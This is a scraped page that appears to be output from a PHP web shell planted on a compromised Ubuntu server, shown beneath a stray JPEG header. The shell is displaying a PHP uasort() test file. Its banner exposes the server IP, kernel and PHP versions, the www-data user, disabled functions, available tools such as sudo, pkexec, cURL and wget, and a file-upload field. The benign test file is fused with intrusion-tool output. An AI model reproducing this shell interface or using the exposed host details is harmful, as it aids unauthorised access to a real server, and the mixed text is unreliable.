????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.133.141.1 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/ |
Upload File : |
--TEST-- Test uasort() function : usage variations - sort diff. strings --FILE-- <?php /* Prototype : bool uasort(array $array_arg, string $cmp_function) * Description: Sort an array with a user-defined comparison function and maintain index association * Source code: ext/standard/array.c */ /* * sorting different strings: * single quoted, double quoted and heredoc strings */ // comparison function /* Prototype : int cmp_function(mixed $value1, mixed $value2) * Parameters : $value1 and $value2 - values to be compared * Return value : 0 - if both values are same * 1 - if value1 is greater than value2 * -1 - if value1 is less than value2 * Description : compares value1 and value2 */ function cmp_function($value1, $value2) { if($value1 == $value2) { return 0; } else if($value1 > $value2) { return 1; } else { return -1; } } // Different heredoc strings to be sorted $empty_heredoc =<<<EOT EOT; $simple_heredoc1 =<<<EOT Heredoc EOT; $simple_heredoc2 =<<<EOT HEREDOC EOT; $multiline_heredoc =<<<EOT heredoc string\twith!@# and 123 Test this!!! EOT; echo "*** Testing uasort() : different string arrays as 'array_arg' ***\n"; // Single quoted strings $single_quoted_values = array( 0 => ' ', 1 => 'test', 3 => 'Hello', 4 => 'HELLO', 5 => '', 6 => '\t', 7 => '0', 8 => '123Hello', 9 => '\'', 10 => '@#$%' ); echo "-- Sorting Single Quoted String values --\n"; var_dump( uasort($single_quoted_values, 'cmp_function') ); // expecting: bool(true) var_dump($single_quoted_values); // Double quoted strings $double_quoted_values = array( 0 => " ", 1 => "test", 3 => "Hello", 4 => "HELLO", 5 => "", 6 => "\t", 7 => "0", 8 => "123Hello", 9 => "\"", 10 => "@#$%" ); echo "-- Sorting Double Quoted String values --\n"; var_dump( uasort($double_quoted_values, 'cmp_function') ); // expecting: bool(true) var_dump($double_quoted_values); // Heredoc strings $heredoc_values = array(0 => $empty_heredoc, 1 => $simple_heredoc1, 2 => $simple_heredoc2, 3 => $multiline_heredoc); echo "-- Sorting Heredoc String values --\n"; var_dump( uasort($heredoc_values, 'cmp_function') ); // expecting: bool(true) var_dump($heredoc_values); echo "Done" ?> --EXPECTF-- *** Testing uasort() : different string arrays as 'array_arg' *** -- Sorting Single Quoted String values -- bool(true) array(10) { [5]=> string(0) "" [0]=> string(1) " " [9]=> string(1) "'" [7]=> string(1) "0" [8]=> string(8) "123Hello" [10]=> string(4) "@#$%" [4]=> string(5) "HELLO" [3]=> string(5) "Hello" [6]=> string(2) "\t" [1]=> string(4) "test" } -- Sorting Double Quoted String values -- bool(true) array(10) { [5]=> string(0) "" [6]=> string(1) " " [0]=> string(1) " " [9]=> string(1) """ [7]=> string(1) "0" [8]=> string(8) "123Hello" [10]=> string(4) "@#$%" [4]=> string(5) "HELLO" [3]=> string(5) "Hello" [1]=> string(4) "test" } -- Sorting Heredoc String values -- bool(true) array(4) { [0]=> string(0) "" [2]=> string(7) "HEREDOC" [1]=> string(7) "Heredoc" [3]=> string(4%d) "heredoc string with!@# and 123 Test this!!!" } Done